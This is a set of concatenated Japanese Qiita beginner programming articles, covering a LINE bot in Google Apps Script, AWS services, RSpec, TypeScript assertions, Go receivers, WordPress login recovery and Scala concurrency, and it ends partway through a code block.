OmniAICreator/Qiita-1.07M huggingface dataset:
GASで不定期開催のイベント日程を教えてくれるLINE botを作成しました。【初心者】



### はじめに
プログラミング初心者が、GASとLINE　botの練習目的で作りました。
土日で不定期に開催されるセミナーの日程を返信してくれるLINE botです。
スケジュールアプリで管理すればあまり役に立つ場面がないものですが、記録用に投稿しました。
※2022/5/11不備が発覚し、変更しています。

### GAS[Google Apps Script]とは
Gmailアカウントがあれば誰でも利用できるローコードプラットフォームです。 

### コード
```javascript
//LINE Developersで取得したアクセストークンを入れる
var CHANNEL_ACCESS_TOKEN = "アクセストークン";
var line_endpoint = "https://api.line.me/v2/bot/message/reply";

var date = new Date();
const date1 = new Date("2022-5-8");
const date2 = new Date("2022-5-14");
const date3 = new Date("2022-5-22");
const date4 = new Date("2022-5-28");
const date5 = new Date("2022-6-5");

//ポストで送られてくるので、送られてきたJSONをパース
function doPost(e) {
  var json = JSON.parse(e.postData.contents);

  //返信するためのトークン取得
  var reply_token = json.events[0].replyToken;
  if (typeof reply_token === "undefined") {
    return;
  }

  //送られたメッセージ内容を取得
  var message = json.events[0].message.text;
  var replyText;

  if (json.events[0].type == "message") {
    if (message == "次いつ？") {
      if (date < date1) {
        replyText = "5/8やね";
      } else if (date < date2) {
        replyText = "5/14やね";
      } else if (date < date3) {
        replyText = "5/22やね";
      } else if (date < date4) {
        replyText = "5/28やね";
      } else if (date < date5) {
        replyText = "6/5やね";
      } else {
        replyText = "今日やーー！！";
      }
    } else {
      replyText = "それには答えられません";
    }
  }
  // メッセージを返信
  UrlFetchApp.fetch(line_endpoint, {
    headers: {
      "Content-Type": "application/json; charset=UTF-8",
      Authorization: "Bearer " + CHANNEL_ACCESS_TOKEN,
    },
    method: "post",
    payload: JSON.stringify({
      replyToken: reply_token,
      messages: [
        {
          type: "text",
          text: replyText,
        },
      ],
    }),
  });
  return ContentService.createTextOutput(
    JSON.stringify({ content: "post ok" })
  ).setMimeType(ContentService.MimeType.JSON);
}
```

### 補足
```java
const dateA = new Date("2022-5-11")
const dateB = new Date(2022, 5, 11);
```
Wed May 11 2022 
Sat Jun 11 2022 
なんと、下の段では日付が6/11になっています！！！！
Javascriptでは月は０スタート（１月が０）となるようです。
知らなかった・・・・。




### 課題

①日程をスプレッドシートにまとめてif文のところもうちょっとスマートにしたかったですが、私の技量ではできませんでした。
②日程抽出のところは、↓を参考にすればもっと簡単にできそう。。
https://qiita.com/tanabee/items/e51f107f1e95a42cc636

かろうじて機能はするものの改善点が多い状態です。

### 参考文献
http://www.googleappsscript.info/2017-07-27/get_now.html
Moodle カスタムCSSを追加する

Moodleで自分のCSSを追加する方法を明記します。

# MoodleのCSS
moodleはCSSをSCSSで書く必要がある。

## 保存場所
scssの保存場所は以下（ファイル名は任意でOK）
```
theme/テーマ名/scss/main.scss
```

## config.phpを書き換える
ただアップすれば反映してくれるわけじゃない。
config.phpを書き換えてあげる必要がある。
```
theme/テーマ名/config.php
```

```config.php
//テーマがbootsの場合、以下をコメントアウト
//$THEME->scss = function($theme) {
//  return theme_boost_get_main_scss_content($theme);
//};*

//以下を追加（main.scssの場合　拡張子は書かない）
$THEME->scss = 'main';
```

## 参考
https://docs.moodle.org/dev/SCSS
AWS Lambda 実践ガイド 第2版でつまずいたところまとめ

AWS Lambda 実践入門 第2版でつまずいたところを忘備録的にまとめておく。

# 1. 書籍のとおりにカスタムドメインのマッピングをやるとアクセスに失敗

図6-102のとおりにLambda関数をカスタムドメインにマッピングすると6-9-5が以下のエラーをCloudWatchで吐くようになって失敗する。

```
The IAM role configured on the integration or API Gateway doesn't have permissions to call the integration. Check the permissions and try again.
```

原因は、図6-102で「パス（オプション）」を設定しているため。ここに文字列を指定すると、関数を呼び出すためのURLで関数へのルートの前にこのパスが付与されてしまうため。つまり、図6-102のとおりに進めると以下のようなURLを生成してしまうことになる。

```
https://api.aws-bookexample.com/userregistFunction/userregistFunction
```

これだと、困るので図6-102で「パス（オプション）」を設定しないようにすればOK。

# 2. 7-6 sqs.get_queue_by_nameを実行する権限不足

Lambda関数`SendqueueFunction`のポリシーとして`SQSSendMessagePolicy`を割り当てているが、このポリシーだけでは、関数内で実行される`get_queue_by_name`が必要とする`GetQueueUrl`の権限足りていないため、以下のエラーが発生する。

```
[ERROR] QueueDoesNotExist: An error occurred (AWS.SimpleQueueService.NonExistentQueue) when calling the GetQueueUrl operation: The specified queue does not exist or you do not have access to it.
```

なので、手動でポリシーを作るようにすればOK。

```yaml
  # 1. S3バケットとイベントの結び付け
  # 処理するLambda関数
  SendqueueFunction:
    Type: AWS::Serverless::Function
    Properties:
      CodeUri: send_queue
      Handler: app.lambda_handler
      Runtime: python3.9
      Policies:
        # DynamoDBテーブルへのCURD権限
        - DynamoDBCrudPolicy:
            TableName: !Ref MailTable
        # キューへの送信権限
        # - SQSSendMessagePolicy:
        #     QueueName: !GetAtt SendQueue.QueueName
        - Version: '2012-10-17'
          Statement:
            - Effect: Allow
              Action:
                - sqs:SendMessage*
                - sqs:GetQueueUrl*
              Resource: !GetAtt SendQueue.Arn
```

# 3. リスト7-5の変更箇所漏れ

```python
table = dynamodb.Table('mailaddress')
```
↓

```python
table = dynamodb.Table(os.environ['MAILTABLE'])
```
RSpecでCapybaraを導入する

# 概要

RSpecにCapybaraを導入したらつまづいたので解決方法を共有します
１人でも多くの人の役にたてればと思います。

# はじめに

### 使用する環境
- MacOS(M1)
- Rails 6.1.5
- Ruby 3.1.0
- yarn 1.22.17
- Homebrew 3.4.8

## 状況
ログインのテストを作成しようとしたときに、 visit root_pathを記述してページ移動をしようとした時に、テストを実行しようとしたらエラーが出てしまって詰まった


### １つ目のエラー
![スクリーンショット 2022-05-08 16.27.25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2124434/6324eaee-a695-3864-fd88-19c2198b5452.png)

### 考察
文法的には間違えてない為デバックをしたところ、visitがそもそも定義されてないことを発見した。
調べてみるとvisitはCapybaraに定義されてる為うまく読み込まれてないのではないかと考察した。

### 解決方法

Capybaraは既にデフォルトで入っていたためRSpecで利用するために追加

```diff:spec/spec_helper.rb
+ require 'capybara/rspec'
```

### ２つ目のエラー
今度はvisitは使えるようになったが、root_pathが未定義とのエラー
![スクリーンショット 2022-05-08 16.37.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2124434/1e245219-c2db-ba52-b700-8c83d3045059.png)

### 考察
ここでvisit "/"としたらテストが通ることを確認した。
しかしvisit root_pathだと通らない何故だろう🤔
調べてみると名前付きルートを使えるように記述する必要があるとのこと

### 解決方法

```diff:spec/spec_helper.rb
+  RSpec.configure do |config|
+   config.include Rails.application.routes.url_helpers
+  end
```

これで名前付きルートを使えるようにした。

### ３つ目のエラー
よし今度こそと思ったがさらにエラー
![スクリーンショット 2022-05-08 16.46.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2124434/f05e077c-195b-31fd-5cc9-93605e682fdf.png)

### 考察
調べてみるとこちらの記事の通りに書いたらできた
コードの意味はいまいち分からないのでまた調べ次第追記していこうと思う。
コードの意味を少し理解できたので忘れないうちに書いていこうと思う


参照：https://qiita.com/tak-msk/items/c21a2c4ccae7942625be

### 解決方法
```diff:spec/spec_helper.rb
+ ENV["RAILS_ENV"] ||= 'test'
+ require File.expand_path("../../config/environment", __FILE__)
+ require 'rspec/rails'
```
まずこちらのコードではrailsの環境が擬かnilならtestを代入するとのコードになっている
ENV["RAILS_ENV"] ||= 'test'


次にこちらなんですけど、2つ上の階層からconfig/environmentのファイルを読み込んでいる
require File.expand_path("../../config/environment", __FILE__)
ターミナルで確認しようと思う。
```shell
cd spec
pry
File.expand_path("../../config/environment", __FILE__)
Users/Username/Rails_product/Training_App/config/environment"
```
こちらを読み込んでいるのが確認できる

こちらは外部ファイルかな多分を読み込んでいる
require 'rspec/rails'



やっとこれでテストがパスするようになった🥺
![スクリーンショット 2022-05-08 16.54.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2124434/783fc789-6dd6-e364-3fe7-cf4670f46793.png)

# 最後に
もっと早くエラーが解決できるようになりたいな😭
AWS AppSyncを触ってみた #1

![スクリーンショット 2022-05-06 12.43.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173182/bd54279a-7b42-78de-76d8-2853698b9c08.png)
Amplifyのチュートリアルをやってみて、個人的に重要だと思ったのがAppSyncだったので、少し深堀してみました。

#### AppSyncとは
AppSyncは、GraphQL APIの開発を容易にする、AWSの完全マネージド型サービス。
平たくいうと、サーバーレスなGraphQLサービス。
このサービスは、DynamoDBなどのデータソースとの接続に必要な、面倒な作業を**自動的**に処理してくれます。要はDataBaseも自動で作ってくれる。

*AWSでAPIを作成できるサービスにAPI Gatewayがありますが、それはREST API形式




#### AppSyncの仕組み
![appsync構成.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173182/ce140bc8-0317-b590-b7c5-2c3698d3f953.png)
[CROSS POWER](https://xp-cloud.jp/blog/2020/06/01/7159/)から引用

↑の図でも分かる通り、AppSyncのキーはこの4つかと思います。
１）クエリ
２）スキーマ
３）リゾルバー
４）リソース


#### １） クエリ
クエリは３種類ある。
– query … データ取得
– mutation … データ追加/更新/削除
– subscription … イベントの購読

スキーマで定義した関数を呼び出す箇所です。
アプリケーション内で定義して、ユーザーがAPI通信を発火、データを取得します。

AppSync上で動作テスト的にクエリを実行する事も可能。
![スクリーンショット 2022-05-08 16.02.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173182/52b84968-9608-445a-532f-431de3e79641.png)



#### ２） スキーマ
スキーマは、GraphQL APIの型システム。
アプリケーション内で扱うデータがどのようなフィールドを持ち、そのフィールドがどのような型を持っているのか定義する。

```
type Todo {
	id: ID!
	name: String!
	description: String
	createdAt: AWSDateTime!
	updatedAt: AWSDateTime!
}
```
このスキーマを設計（定義）することが、**AppSync APIを作る最初のステップになります。**


#### ３） リゾルバー
各パラメータを受け取って、リソースに対してどのような処理をするのか(CreateやPutなど)、処理内容を記載したAppSyncのサーバーサイドの機能(関数)群。

つまりは、GraphQLのスキーマで受け付けたリクエストに対し実際にデータ操作を行う部分。

下記のようにリソースの1行動に対して1つのリゾルバが必要になります。

DynamoDBのAテーブルに対して、データを更新するリゾルバー
DynamoDBのBテーブルのデータを、参照するリゾルバー

[AWS公式のリゾルバー解説](https://docs.aws.amazon.com/ja_jp/appsync/latest/devguide/configuring-resolvers.html)


**リゾルバーのアタッチとは：**
スキーマにはリゾルバーを「アタッチ」する必要がある。
要はスキーマ（データ）とリゾルバー（処理）をくっつける事かと思います。

スキーマを作成
![スクリーンショット 2022-05-08 14.40.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173182/014a1acd-c981-949f-8c42-269f6201b0d7.png)

リゾルバーに↑で作成したHogeが追加されるので「アタッチ」をクリック
![スクリーンショット 2022-05-08 14.41.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173182/eaa9eff9-6770-67bf-1101-2c5e2ef70433.png)

リゾルバー作成画面になるので、データソースを選択する
![スクリーンショット 2022-05-08 14.41.57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173182/c5b482f4-9f98-5f9a-63ac-74592a901102.png)

リゾルバーは、２つのマッピングテンプレートで構成される。
・リクエストマッピングテンプレート
・レスポンスマッピングテンプレート

Apache Velocity Template Language(VTL)というプログラミング言語で記述します。
[AWS公式のVTL解説](https://docs.aws.amazon.com/ja_jp/appsync/latest/devguide/resolver-mapping-template-reference-programming-guide.html)
![スクリーンショット 2022-05-08 14.42.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173182/474488b3-1b27-767f-d308-90c3e294f99f.png)

アタッチすると、そのリゾルバーは、そのフィールドがクエリまたはミューテーションにリストされるたびに呼び出されます。

**パイプラインリゾルバーとは：**
パイプラインリゾルバーとは、オペレーション（関数）を順番に実行できるAppSyncの機能。



#### ４） リソース
APIのアクションの対象。
リソースに選択できるものは幅広く、DynamoDBなどDBのレコードを取得/更新したりできますし、HTTPリクエスト(外部のAPI)なども選択できます。

*AppSyncがDaynamoDBのテーブルを自動で作ってくれます。


### まとめ
まだ完全理解とは言い難いですが、登場人物たちがどういう仕組みで関連してるかは多少掴めました。次は実際にスキーマを設計したり、Query, Mutationできる様にガンガン触ってカスタマイズしてみようと思います。
AWS CLIのプロファイル切り替え方法をまとめてみた

# AWS CLIのプロファイル切り替え方法

## はじめに
業務でAWS関連のプロジェクトを複数かかえており、AWS CLIのプロファイルを切り替える必要があったので、以下に整理しました。

## 前提

- アクセスキーID とシークレットアクセスキーをプロファイルに登録済みであること
    - ~/.aws/credentialsを確認すればOK

設定していない場合は、以下のようにして作成する

```
$ aws configure --profile profile1
AWS Access Key ID [None]: keyId1
AWS Secret Access Key [None]: accesskey1
Default region name [None]: ap-northeast-1
Default output format [None]:
```

- `profile1`, `keyId1`, `accesskey1`は任意
- regionは好きなリージョンを選択する

## AWS CLIのプロファイル切り替え方法
### 現在の設定状況確認
aws configure list実行→not setとなっている

```bash
$ aws configure list
      Name                    Value             Type    Location
      ----                    -----             ----    --------
   profile                <not set>             None    None
access_key                <not set>             None    None
secret_key                <not set>             None    None
    region                <not set>             None    None
```

### AWS_PROFILEを設定する

```bash
$ export AWS_PROFILE=profile1
```

昔は`AWS_DEFAULT_PROFILE`を設定していたらしいですが、今は`AWS_PROFILE`がスタンダードみたいです。

> set AWS_PROFILE standard variable with selected profile name, not only the (legacy) AWS_DEFAULT_PROFILE

https://github.com/m-radzikowski/omf-plugin-asp/pull/5


### 再度設定状況確認

```bash
/c
$ aws configure list
      Name                    Value             Type    Location
      ----                    -----             ----    --------
   profile             profile1              env    ['AWS_PROFILE']
access_key     ****************XXXX shared-credentials-file
secret_key     ****************YYYY shared-credentials-file
    region           ap-northeast-1      config-file    ~/.aws/config
```


## 参考

https://github.com/m-radzikowski/omf-plugin-asp/issues/3
#2 はじめてのデザインパターン~Factory Method~

# どんなもの？

オブジェクト生成する時のインターフェースだけを規定して、**実際にどのクラスをインスタンス化するかはサブクラスで決める**ようにするデザインパターン

イメージは共通部分をファクトリーで実装し、それ以外の処理をサブクラスで実装する、という感じ。

※既に学習したTemplate Methodに似ていると思ったら、Factory MethodはTemplate Methodの応用例だった。

# 参考

https://shimooka.hateblo.jp/entry/20141215/1418620242#:~:text=Factory%20Method%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E3%81%A8%E3%81%AF%EF%BC%9F

# どんな時に使う？

例えば、以下のようなcsvファイルがあって

Music.csv

```
ルートヴィヒ・ヴァン・ベートーヴェン,ピアノソナタ第23番ヘ短調「熱情」
ヴォルフガング・アマデウス・モーツァルト,魔笛
ヴォルフガング・アマデウス・モーツァルト,セレナーデト長調 K.525「小夜曲」
アントニン・ドヴォルザーク,交響曲第9番ホ短調「新世界より」
```

このcsvファイルを順番に読み込んでブラウザに出力する処理は以下の通り

client.php

```php
<html lang="ja">
<head>
  <title>作曲家と作品たち</title>
</head>
<body>
<?php
    $handle = fopen ("Music.csv","r");
    $column = 0;
    $tmp = "";
    while ($data = fgetcsv ($handle, 1000, ",")) {
        $num = count ($data);
        for ($c = 0; $c < $num; $c++) {
            if ($c == 0) {
                if ($column != 0 && $data[$c] != $tmp) {
                    echo "</ul>";
                }
                if ($data[$c] != $tmp) {
                    echo "<b>" . $data[$c] . "</b>";
                    echo "<ul>";
                    $tmp = $data[$c];
                }
            }else {
                echo "<li>";
                echo $data[$c];
                echo "</li>";
            }
        }
        $column++;
     }
    echo "</ul>";
    fclose ($handle);
?>
</body>
</html>
```

HTMLの中にPHPを書き、そのPHPの中でもcsvのopen（開く）とfgetcsv（データの取得）などいろんなことをしている。

## 問題点

このコードが一生CSVしか受け付けない、という仕様であることがほぼ確定しているのであれば問題ない。

問題なのはcsvではなくXMLデータでも出力対応したいという要件が出てきた場合。
その場合は**読み込むファイルの判定とその後のデータ取得処理の違いをif文等で条件分岐を作ることになる**ので、client.phpが煩雑になる。

結果として**メンテナンス性がしにくいコードが出来上がってしまう**...

この問題点を払しょくしてくれるのがFactory Methodになる

# メリットは？

メリット＝上記問題点の払拭方法となるが、それは **「オブジェクトの生成処理と使用処理を分離」** することになる

これにより、オブジェクトの生成については**オブジェクトの利用側（クライアント側）を意識することなく開発ができる**ので利用側に大量のコードを書く必要がなくなりメンテナンス性が確保される。

また**オブジェクトの利用側とオブジェクトのクラスの結びつきを低くする**ことにつながり、各クラスの役割がハッキリするので、**仕様変更時の改修などによる影響範囲も最低限に済ませることができる**。

# 使い方

上記のCSVを読み込み・出力するコードを例にFactory Methodを使って改修していく

## イメージ

最終的なクラス図に落とし込むと以下のリンクの通りになる

https://f.hatena.ne.jp/shimooka/20141208182801

※一般的なFactory Methodのクラス図は以下

https://f.hatena.ne.jp/shimooka/20141208182623


改修の流れは大きく分けて５点。

- クライアントで呼び出すファイル読込みメソッド（read）、ファイル内容出力（display）を持つインターフェース（Reader.class.php）を作成
- Reader.class.phpをimplementsして、抽象メソッドであるread, displayの具体的な内容をCSVFileReader.class.phpに実装
- XMLファイルでも対応できるようにXMLファイル用のread, displayの処理内容を実装したXMLFileReader.class.phpを作成
- 今のままではファイルの種類を判別できないので、拡張子でファイルの種類を判別できる処理をReaderFactory.class.phpに実装
- 最後にファイル名の指定、ファイルの判別、オブジェクト作成、オブジェクトのデータ読み取り、データ出力をクライアントfactory_client.phpで作成・実装

## Github

実装した内容はGithubで上げています。

https://github.com/Kuma-inataku/design_pattern/tree/develop/3%2Cfactory_method

# 所見
- 自分がよく使うLaravelでの活用方法としてはファットになりがちなControllerにて複数Controllerで同じ処理をしていた際はこのFactory Methodの採用を検討していいかと思った。
    - あまりないと思うが今回のようにView（bladeファイル）にロジックを書いている場合も同様。
    - （むしろ、Bladeにロジックを持たせない設計にした方がより良いが、、、）
- 今回のCSVとXMLの判別のような処理が必要ない時はよりシンプルなTemplate Methodでの実装も検討するべき
DynamoDB Localを触ってみる

## はじめに
- 以下の記事の検証用にローカルでDynamoDBを操作するために、DynamoDB localを触ってみたので簡単にまとめます。

https://qiita.com/memomaruRey/items/6578839c8f75942c7699

## テーブル作成まで

正直、以下参考記事通りやれば問題なくテーブル作成までできます。

https://zenn.dev/ttani/articles/docker-dynamodb-local

1点補足をすると、参考記事内の

> AWS CLI用コンテナに入る
> shell
> docker exec -it [AWS CLI用コンテナ名] /bin/bash

の`[AWS CLI用コンテナ名]`は、`docker ps -a`実行後の`NAMES`列の値を使えばよいです。

## データ保存
毎回、`--region`と`--endpoint-url`を指定する必要があるようです。

```bash
aws dynamodb \
  --region ap-northeast-1 \
  --endpoint-url http://dynamodb:8000 \
    put-item \
  --table-name User \
  --item '{ "UserId": { "S": "123" }, "SortKey": { "S": "SortKey1" }, "Parameter": { "S": "Param1" } }'
```

## データの中身確認

```bash
aws dynamodb \
  --region ap-northeast-1 \
  --endpoint-url http://dynamodb:8000 \
    scan \
  --table-name User

{
    "Items": [
        {
            "Parameter": {
                "S": "Param1"
            },
            "UserId": {
                "S": "123"
            },
            "SortKey": {
                "S": "SortKey1"
            }
        }
    ],
    "Count": 1,
    "ScannedCount": 1,
    "ConsumedCapacity": null
}
```

## 参考
https://zenn.dev/ttani/articles/docker-dynamodb-local
【TypeScript入門 #11】ダウンキャストとアップキャストについて

# 概要

オンラインサロン IT_KINGDOM で、typescript について学んだことを備忘録としてメモしていきます。

# 学習内容

- ダウンキャスト とは
- アップキャスト とは
- Non-null アサーション
- Double アサーション

# ダウンキャスト とは

- 一度定義した型を厳密化すること
- 基本系は`as XXXX`(XXXX は定義したい型)または`as const`
- `as const`をつける方法を const アサーションという

```typescript
// オブジェクトのプロパティの型はstringとなる（JavaScriptの仕様）
const theme1 = {
  color: "red",
};
theme.color = "blue"; // theme.colorの型はstringなのでエラーとならない

// as "red"をつけると、colorの型は"red"として定義される
const theme2 = {
  color: "red" as "red",
};
theme2.color = "blue"; // theme2.colorの型は"red"なのでエラーになる
```

```typescript
// constアサーションの記法1
const theme1 = {
  color: "red" as const,
  flag: true,
};
theme1.color = "blue"; // theme1.colorの型は"red"でconstアサーションされているため、エラーとなる
theme1.flag = false; // theme1.flagの型はconstアサーションされてないため、エラーとならない

// constアサーションの記法2
const theme2 = {
  color: "red",
  backGroundColor: "blue",
} as const;
theme2.color = "blue"; // themeオブジェクトの型を厳密化されたのでエラーになる
theme2.backGroundColor = "green"; // themeオブジェクトの型を厳密化されたのでエラーになる
```

ダウンキャストは widening の防止にも役立つ<br>
[widening の詳細](https://qiita.com/yamashin0616/items/f6f2405dba4570638228)

```typescript
// wideningにより、xの型は"red"ではなくstringとなる
export const color = "red"; // colorの型は"red"と厳密に定義
let x = color; // xの型はstringとなる

// constアサーションによるwideningの防止
export const color2 = "red" as const;
let x2 = color2; // xの型は"red"となる
```

# アップキャスト とは

- 一度定義した型を抽象化すること
- 型の抽象化。基本的には使うべきではない

```typescript
export const color = "red" as const;
let x = color as any; // xの型はanyになる。
```

# Non-null アサーション（非推奨）

- `str!`とすることで`str`が non-null であることを示す
- 読み取れない型をとりうる場合にエラーとする typescript の設定をオフにする
- あまり使わない方が良い

```typescript
export function getFirstLetter(str?: string) {
  return str.charAt(0); // strがstringでないケースがあるのでエラーとなる
}
```

```typescript
export function getFirstLetter2(str?: string) {
  return str!.charAt(0); // strがundefinedの可能性を消し去る処理する
}
```

# Double アサーション（非推奨）

- 一度型指定された変数に、`as unknown`や`as any`をつけることで別の型をつける記法
- あまり使わない方が良い
- 使うシーンとしては、外部パッケージが間違っている時など

```typescript
export function getFirstLetter3(str: number) {
  // return (str as string).charAt(0);
  return (str as unknown as string).charAt(0);
}
```

# 参考サイト

[TypeScript のコードレビューを依頼された人のための!と?の解説](https://dev.classmethod.jp/articles/typescript-assertions/)<br>
[TypeScript Deep Dive](https://typescript-jp.gitbook.io/deep-dive/type-system/type-assertion)<br>
[IT Kingdom](https://it-kingdom.com/)
プログラム言語とマークアップ言語

## プログラム言語
<b>コンピュータが理解しやすい機械語または機械語に近い形式で記述した<font color = blue>低水準言語</font>、人間が理解しやすい自然言語に近い形式で記述した<font color = blue>高水準言語</font>がある。

<b>・低水準言語
<font color = blue>機械語</font>
<font color = blue>アセンブラ言語</font>

<b>・高水準言語
<font color = blue>BASIC</font>
<font color = blue>COBOL</font>
<font color = blue>C</font>
<font color = blue>C++</font>
<font color = blue>Java</font>
<font color = blue>Python</font>
<font color = blue>Javascript</font>

## 言語プロセッサ
<b>人間が理解できるプログラム言語で記述した原始プログラムを、コンピュータが理解できる機械語に翻訳するためのプログラム。

<b>・言語プロセッサ
<font color = blue>アセンブラ</font>
<font color = blue>インタプリタ</font>
<font color = blue>コンパイラ</font>

## プログラムの実行手順
<b>①原始プログラム
↓ コンパイル（コンパイラ）
②目的プログラム
↓リンク（リンカ、ライブラリモジュール）
③ロードモジュール(実行可能プログラム)
↓ロード（ローダ）
④実行

### コンパイラ
<b><font color = blue>コンパイル</font>は<font color = blue>コンパイラ</font>と呼ばれるプログラムを用いて、原始プログラムから目的プログラムを生成すること。

### リンク
<b><font color = blue>リンク</font>は<font color = blue>リンカ(リンケージエディタ)</font>と呼ばれるプログラムを用いて、複数の目的プログラムなどから一つのロードモジュール(実行可能プログラム)を作ること。
#### 動的リンキング
<b>アプリケーションの実行中、必要となったモジュールをOSによって連携する方式。
#### 静的リンキング
<b>アプリケーションの実行に先だって、あらかじめ複数の目的プログラムをリンクしておく方式。

### ロード
<b><font color = blue>ローダ</font>と言われるプログラムを用いて、実行に先立ちロードモジュールを主記憶に配置すること。

## その他の言語のプロセッサ
<b><font color = blue>プリコンパイラ</font>
<font color = blue>クロスコンパイラ</font>
<font color = blue>ジェネレータ</font>
<font color = blue>トランスレータ</font>
<font color = blue>エミュレータ</font>

## 開発ツール
### 総合開発環境
<b>アプリケーション開発のためのソフトウェア・支援ツール類をまとめたもの。
<font color = blue>Eclipse</font>などがある
### ビルド
<b>コンパイルやリンクを行い実行可能ファイルを作成すること。
### 継続的インテグレーション
<b>分担して書いたソースコードを共有の保管場所にマージする度に、ビルドやテストを繰り返すこと。
バグ等を早期発見するため。
ビルドやテストを自動化するツールとして<font color = blue>Jenkins</font>がある。
### デプロイ
<b>実行可能ファイルを実行環境にインストールし、各種設定をして利用可能にすること。
Jenkinsには、自動デプロイ機能もある。

### デバッグツール
<b><font color = blue>デバッグ</font>とはプログラムに潜んでいる<font color = blue>バグ</font>を発見し、取り除くこと。それを支援するツールのこと。

ツール↓
<b><font color = blue>トレーサ</font>
<font color = blue>スナップショットダウン</font>
<font color = blue>メモリダンプ</font>
<font color = blue>静的解析ツール</font>

## 形式言語
<b><font color = blue>特定の目的のために人為的に作られた言語のこと。</font>
### BNF記法
<b>プログラム言語の構文を定義する再帰的な記法。
### 正規表現
<b>文字列の集合の規則を表す記法。
## マークアップ言語
<b>テキスト形式の文章にタグと呼ばれる特別な文字を使って、文章の構造や文字の修飾を記述する言語。
### SGML
<b>電子的な文章の管理や交換を容易に行うためのマークアップ言語。HTMLやXMLの元になっている。
### HTML
<b>Webページを作成するためのマークアップ言語。文字の大きさ、色、行間などは<font color = blue>CSS</font>で指定。
### XML
<b>ネットワークを介した情報システム間のデータ交換を容易にするためのマークアップ言語。
文章構造を文字型定義(<font color = blue>DTO</font>)で記述することで、独自のタグを定義できる。
### Ajax
<b>XMLとJSが持つ非同期のHTTP通信機能を使い、動的に画面を再描画する仕組み。
Goにおけるレシーバの型について

下記の様なコードがあるとします。

```go

package main

import "fmt"

type Greet interface {
	sayGreet() string
}

type Hello struct {
	Message string
}

func (h *Hello) sayGreet() string {
	return h.Message
}

func createGreet() Greet {
	return Hello{Message: "こんにちは"}//ここでコンパイルエラー
}

func main() {
	g := createGreet()
	fmt.Println(g.sayGreet())
}

```
今このコードは、createGreet関数のreturnの箇所でコンパイルエラーを起こしています。

なぜなのか。


createGreet関数の返り値はGreetインターフェイスです。

ということは

```go
return Hello{Message: "こんにちは"}
```
上記で返される返り値がGreetインターフェイスを実装している型であれば問題ないはずです。

```go
func (h *Hello) sayGreet() string {
	return h.Message
}
```
上記の箇所で、Hello構造体はstring型を返すsayGreet()メソッドを実装しているため、HelloはGreetインターフェイスを実装しているように見えます。

しかし、よく見るとレシーバは　「(h *Hello)」　となっており、「Hello構造体を参照しているポインタ型」となっています。

あくまで、sayGreet()をメソッドとして保持している型は「Hello型」ではなく、「Hello型を参照しているポインタ型」となります。

ですので、createGreet()の返り値は「Hello型」ではなく、「Hello型を参照しているポインタ型」にしなければいけません。

下記のように修正します。

```go
func createGreet() Greet {
	return Hello{Message: "こんにちは"}//Hello型を返している。
}

   ⬇️ 修正

func createGreet() Greet {
	return &Hello{Message: "こんにちは"}//Hello型を参照しているポインタ型を返している。
}
```

これでコンパイルエラーが解消され、プログラムが動くようになりました。

なお、新たな疑問として

```go
func (h *Hello) sayGreet() string {
	return h.Message
}
```
hはポインタ型（アドレスが格納されている。）なのに、なぜMessageをとってこれるのか？

これはGoが自動的にポインタの参照先の構造体からMessageの内容を取得してきてくれるからとなります。

もちろん下記のように、愚直に記載してもプログラムは正しく動作します。

```go
func (h *Hello) sayGreet() string {
	return (*h).Message //hが参照している構造体そのものからMessageを取得
}
```
AtCOder たてなが

## 問題
https://atcoder.jp/contests/abc049/tasks/abc049_b

## 回答

```
h, w = map(int, input().split())

a = [input() for _ in range(h)]

for i in a:
    print(i) #2つのprint(i)で2倍を表す
    print(i) #

```

## ポイント

単純に縦（h）に2倍、横（w）に一倍（つまりコードでは書かない）で出力する。
Lightsails上のWordpressでWPS hide login設定後にログインURLを忘れた時の対処法


## 背景
以下背景により、Wordpressにログインできなくなりました。

- 過去にWPS hide loginプラグインでログインURLを`ドメイン名/wp-login`からランダム文字列に変更
- ランダム文字列を設定したログインURLをブックマークに登録
- ブックマークがなぜか最近消える
- 久しぶりにWordpressにログインしようとする
- WPS hide loginプラグインで指定したログインURLが分からず、途方に暮れる

## 対処法

- Lightsails上のインスタンスにsshでログインする
- 以下フォルダにいく

```bash
/opt/bitnami/apps/wordpress/htdocs/wp-content/plugins
```

- wps-hide-loginフォルダがあるので、それをリネームする
    - WPS hide loginプラグインが効かなくなる
- `ドメイン名/wp-login`でログインURLを開いてみる

## 参考
- https://stackoverflow.com/questions/58773155/im-locked-out-of-wordpress-after-using-the-wps-hide-login-plugin
Scalaの勉強はじめました 14 〜並行処理フレームワーク〜

## はじめに
N予備校でScalaの「並行処理プログラミング」を受講しています。

## スレッドプール
`Thread`にはインスタンスの上限が決まっていたり、メモリを使い潰したりするので、スレッドプールを利用する。

:::note
スレッドを待機させておく部品。
待機させているスレッドたちに仕事をさせて、 新たにスレッドを作らない。
:::

## Executorフレームワーク
スレッドプールに仕事を代わりにさせる、並行処理部品。

```scala
import java.util.concurrent.atomic.AtomicInteger
import java.util.concurrent.{Callable, Executors}

object ExecutorServiceStudy extends App {
  // スレッドを10こ
  val es = Executors.newFixedThreadPool(10)
  val counter = new AtomicInteger(0)
  // 1000このCallableタスク
  val futures = for (i <- 1 to 1000) yield {
    // CallableタスクをExecutorに依頼する
    es.submit(new Callable[Int] {
      override def call(): Int = {
        val count = counter.incrementAndGet()
        println(count)
        Thread.sleep(100)
        count
      }
    })
  }
  println(s"sum: ${futures.foldLeft(0)((acc, f) => acc + f.get())}")
  // 必ずシャットダウンさせる
  es.shutdown()
}
```

### スレッドダンプ
全てのスレッドの状態を出力する。
- `jps`
プロセスの一覧を表示する
- `jstack` プロセスID
標準出力する。 `>` でリダイレクトも可能。

## Fork/Join フレームワーク
:::note
可能な限り仕事を分割をすることによって、複数のコアを持つ CPU のリソースを最大限まで使い切る
:::

階乗の集計を並行処理させる

```scala
